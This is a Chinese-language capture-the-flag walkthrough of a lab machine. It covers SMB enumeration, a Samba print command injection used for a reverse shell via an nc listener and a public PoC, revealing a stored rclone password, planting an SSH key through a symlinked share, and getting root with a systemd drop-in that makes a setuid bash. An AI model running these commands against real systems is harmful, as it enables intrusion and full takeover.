前言
做了一道medium的靶机,我说确实有点难,看了官方的walkthrough才做出来,真的还是要多做。红日靶场我就不打算做了,因为自己搭建太麻烦了,用htx会好很多,也方便。

1、信息收集
nmap扫一下发现开放的SMB服务、ssh。

然后enum4linux枚举一下所有信息,这里没截图,就直接用输出信息来替代。
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Jun 11 09:44:14 2026
=========================================( Target Information )=========================================
Target ........... 10.129.244.177
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 10.129.244.177 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for 10.129.244.177 )===============================
Looking up status of 10.129.244.177
ABDUCTED <00> - B <ACTIVE> Workstation Service
ABDUCTED <03> - B <ACTIVE> Messenger Service
ABDUCTED <20> - B <ACTIVE> File Server Service
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
MAC Address = 00-00-00-00-00-00
==================================( Session Check on 10.129.244.177 )==================================
[+] Server 10.129.244.177 allows sessions using username '', password ''
===============================( Getting domain SID for 10.129.244.177 )===============================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
==================================( OS information on 10.129.244.177 )==================================
[E] Can't get OS info with smbclient
[+] Got OS info for 10.129.244.177 from srvinfo:
ABDUCTED Wk Sv PrQ Unx NT SNT Hartley Group Document Services
platform_id : 500
os version : 6.1
server type : 0x809a03
======================================( Users on 10.129.244.177 )======================================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott Name: Scott Mercer Desc:
user:[scott] rid:[0x3e8]
================================( Share Enumeration on 10.129.244.177 )================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 10.129.244.177 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.129.244.177
[E] Can't understand response:
NT_STATUS_NO_SUCH_FILE listing \*
//10.129.244.177/HP-Reception Mapping: N/A Listing: N/A Writing: N/A
//10.129.244.177/projects Mapping: DENIED Listing: N/A Writing: N/A
//10.129.244.177/transfer Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_CONNECTION_REFUSED listing \*
//10.129.244.177/IPC$ Mapping: N/A Listing: N/A Writing: N/A
===========================( Password Policy Information for 10.129.244.177 )===========================
Password:
[+] Attaching to 10.129.244.177 using a NULL share
[+] Trying protocol 139/SMB...
[+] Found domain(s):
[+] ABDUCTED
[+] Builtin
[+] Password Info for Domain: ABDUCTED
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 136 years 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 136 years 37 days 6 hours 21 minutes
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled
Minimum Password Length: 5
======================================( Groups on 10.129.244.177 )======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=================( Users on 10.129.244.177 via RID cycling (RIDS: 500-550,1000-1050) )=================
[I] Found new SID:
S-1-22-1
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[I] Found new SID:
S-1-5-32
[+] Enumerating users using SID S-1-5-21-4225988480-3190912278-1721389418 and logon username '', password ''
S-1-5-21-4225988480-3190912278-1721389418-501 ABDUCTED\nobody (Local User)
S-1-5-21-4225988480-3190912278-1721389418-513 ABDUCTED\None (Domain Group)
S-1-5-21-4225988480-3190912278-1721389418-1000 ABDUCTED\scott (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\scott (Local User)
S-1-22-1-1001 Unix User\marcus (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
==============================( Getting printer info for 10.129.244.177 )==============================
flags:[0x800000]
name:[\\10.129.244.177\]
description:[\\10.129.244.177\,,Reception printer]
comment:[Reception printer]
发现空密码能够匿名直接访问打印机服务,但是其他的文件夹projects、transfer、IPC$全都没有权限访问,全都被denied了。这里其实应该直接去网上搜漏洞了,但是这里先自己搓了好久,问了ai尝试利用打印机服务执行命令,但是失败了。于是看了walkthrough发现要用CVE-2026-4480。
2、漏洞利用
2.1 CVE-2026-4480
先讲一下这个漏洞。2026年5月31日,Samba官方同步CVE Circl发布紧急安全公告,披露了一个存在于Samba打印子系统的CVSS v3.1 10.0满分高危漏洞。
2.1.1 漏洞详情
| 指标 | 详情 |
|---|---|
| 漏洞类型 | 命令注入漏洞 |
| 利用条件 | 无需认证、无需用户交互、远程网络访问 |
| 攻击范围 | 跨域攻击(S:C) |
| 影响程度 | 机密性/完整性/可用性全量破坏 |
| 利用难度 | 极低(公开PoC已泛滥) |
| 受影响组件 | Samba spoolss打印RPC接口 |
2.1.2 漏洞成因
CVE-2026-4480的根本原因在于Samba打印模块在处理客户端传入的%J参数(打印任务名称参数)时,未进行任何输入过滤、转义或白名单校验,直接将其拼接到底层系统的Shell命令中执行。
以下是Samba源代码中存在问题的关键片段(来自samba-4.19.5/source3/printing/printing.c):
/* 有问题的代码片段 */
char *build_print_command(const char *printer_name, const char *job_name, const char *filename)
{
char *command = NULL;
const char *print_command = lp_print_command(printer_name);
/* 替换%J参数为打印任务名称 */
command = talloc_string_sub(NULL, print_command, "%J", job_name);
/* 替换其他参数... */
return command;
}
void execute_print_job(const char *printer_name, const char *job_name, const char *filename)
{
char *command = build_print_command(printer_name, job_name, filename);
/* 直接执行拼接后的命令 */
system(command);
talloc_free(command);
}
这里看execute_print_job函数被调用后,直接利用build_print_command函数,然后在build_print_command函数中,%J这个直接获取打印任务名称,没有进行任何的过滤,拼接以后直接由system进行执行,导致的命令注入。
然后由于SMB的默认设置,而空密码账户也能够访问打印服务,导致
- 任何能够访问服务器445端口的客户端,都可以以Guest身份连接到Samba服务
- Guest用户默认拥有打印权限
- 攻击者无需任何账号密码,即可提交恶意打印请求
所以这个漏洞拿到了10分的满分捏。
2.2 利用漏洞获取shell
先安装一下samba服务
sudo apt install python3-samba
开一个窗口监听
# terminal 1: listener
nc -lvnp 4444
然后
# terminal 2: fire the exploit
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.gitcd CVE-2026-4480-PoC
python3 exploit.py rhost lhost 4444

之后就在监听端口获取shell了

3、横向移动
3.1 nobody——> scott
此时还只是nobody用户,需要横向移动到之前scott的用户上,这里横向移动其实还简单,通过查看备份文件/opt/offsite-backup/rclone.conf,找到其中的scott的密码。
cat /opt/offsite-backup/rclone.conf

在 rclone 的配置文件(rclone.conf)中,密码字段默认不是明文存储的,而是经过 obscure 处理过的密文,通过rclone reveal解密密码

获取密码后,用ssh登录scott用户

然后获取user的flag

4.提权
其实这个提权也挺难,要多做一个横向移动到marus才能提权,没想法也是看的官方的walkthrough。
4.1 scott——> marcus
这里想到要横向移动到Marcus是因为其中的一项设置,cat /etc/samba/shares.conf

发现其中的transfer共享文件夹设置
[transfer]
path = /srv/transfer
valid users = scott
force user = marcus
read only = no
wide links = yes
漏洞组合:
wide links = yes:允许 Samba 跟随符号链接,即使目标指向共享目录之外。force user = marcus:无论谁通过认证(此处为scott),所有文件操作都以本地用户marcus的身份执行。read only = no:可写。
此时scott 可以在共享中创建一个符号链接,指向 marcus 有权访问的任意文件(例如 /home/marcus/.ssh/authorized_keys),然后通过共享写入自己的公钥,从而获得 marcus 的 Shell 登录权限。如果 marcus 拥有 sudo 或其他特权,这会直接导致本地提权。
于是这里利用这个漏洞
scott@abducted:~$ ssh-keygen -q -t ed25519 -N '' -f /tmp/k
scott@abducted:~$ ln -s /home/marcus /srv/transfer/mh
scott@abducted:~$ smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' -c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'

直接ssh进行连接marcus,无需输入密码
4.2 marcus——>root、
4.2.1 信息收集

这里marcus的属于operators组
然后搜索操作组能够写入的文件ls -ld /etc/systemd/system/smbd.service.d

输出结果权限解析:
d:目录rwx:属主(root)可读、写、进入rws:属组(operators)可读、写、进入,且s表示 setgid 位(SGID)---:其他人无任何权限
其中 SGID 位在目录上的作用:在该目录下创建的新文件/子目录,其所属组会自动继承该目录的属组(即 operators),而非创建者的主组。这意味着 marcus 可以在这里创建文件,且文件会属于 operators 组,便于组内协作。
4.2.2 systemd drop-in 配置目录介绍
路径 /etc/systemd/system/smbd.service.d/ 是一个标准的 systemd drop-in 目录。
当 systemd 加载 smbd.service 单元时,会自动合并该目录下所有 .conf 文件中的配置,覆盖或扩展主单元文件中的指令。这是一个设计上非常灵活的机制,允许运维人员在不修改主服务文件的情况下进行定制。
4.2.3 systemd drop-in 配置目录利用
在 drop-in 文件的 [Service] 段中,可以指定 ExecStartPre=。这个指令定义的命令会在服务主进程启动之前执行。
关键点:systemd 执行这些命令时,使用的是服务自身配置的用户身份。smbd.service 通常以 root 身份运行,因此 ExecStartPre= 中的命令也会以 root 执行。
4.2.4 polkit 授权绕过
写入 drop-in 文件仅仅是“埋雷”,要真正引爆炸弹,需要让 systemd 重新加载配置并重启服务。
通常,非特权用户无法执行 systemctl daemon-reload 和 systemctl restart smbd,因为这需要 root 权限或明确的 polkit 授权。
攻击者使用 polkit 的动作遍历,测试自己的进程是否被允许执行某些特权操作:
for action in $(pkaction); do
pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
done

我们看到ALLOWED: org.freedesktop.systemd1.reload-daemon说明用户macus被允许无需密码即可重载 systemd 管理器配置
4.2.4 为什么没有看到 manage-units 的允许?
通常重启服务需要 org.freedesktop.systemd1.manage-units 授权。pkcheck 测试时输出中并没有直接显示该动作被允许,但这不代表 marcus 无法重启 smbd。
在官方的walkthrough中解释了原因:
- polkit 规则可以是条件性的。例如,规则可能写成:“如果目标单元是
smbd.service,则允许operators组重启,否则要求密码。” - 条件检查依赖传入的动作细节。
pkcheck在命令行测试时没有附带unit参数,polkit 无法满足条件,因此返回“拒绝”。 - 但
systemctl restart smbd实际调用 D-Bus 时会传递unit=smbd.service这个细节,规则此时命中,授权通过,无需密码。
这种设计使得权限控制更加细粒度:operators 组只能管理特定的服务(smbd),但不能随意重启其他服务。但在这个场景下,恰好允许攻击者利用它来触发恶意配置。
4.2.5 完整的利用过程
1. 写入恶意 drop-in 文件
cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF
这个配置文件定义了两个前置命令:
- 将
/bin/bash复制到/tmp/.rb - 将
/tmp/.rb设置为 setuid root(4755,即-rwsr-xr-x,属主为 root)
因为 marcus 拥有 operators 组写权限,且目录有 SGID,该文件顺利创建,属于 operators 组。
2. 触发服务重载与重启
systemctl daemon-reload # 通过 polkit 允许的操作,重载配置
systemctl restart smbd # 利用细粒度 polkit 规则,无密码重启
daemon-reload 让 systemd 读取新的 drop-in 文件。restart smbd 停止旧服务,启动新服务。systemd 以 root 身份执行 ExecStartPre= 中的两条命令:
cp /bin/bash /tmp/.rbchmod 4755 /tmp/.rb
执行完成后,/tmp/.rb 成为一个带 setuid 位的 root 所属 bash 副本。

最终拿下root权限

Comments NOTHING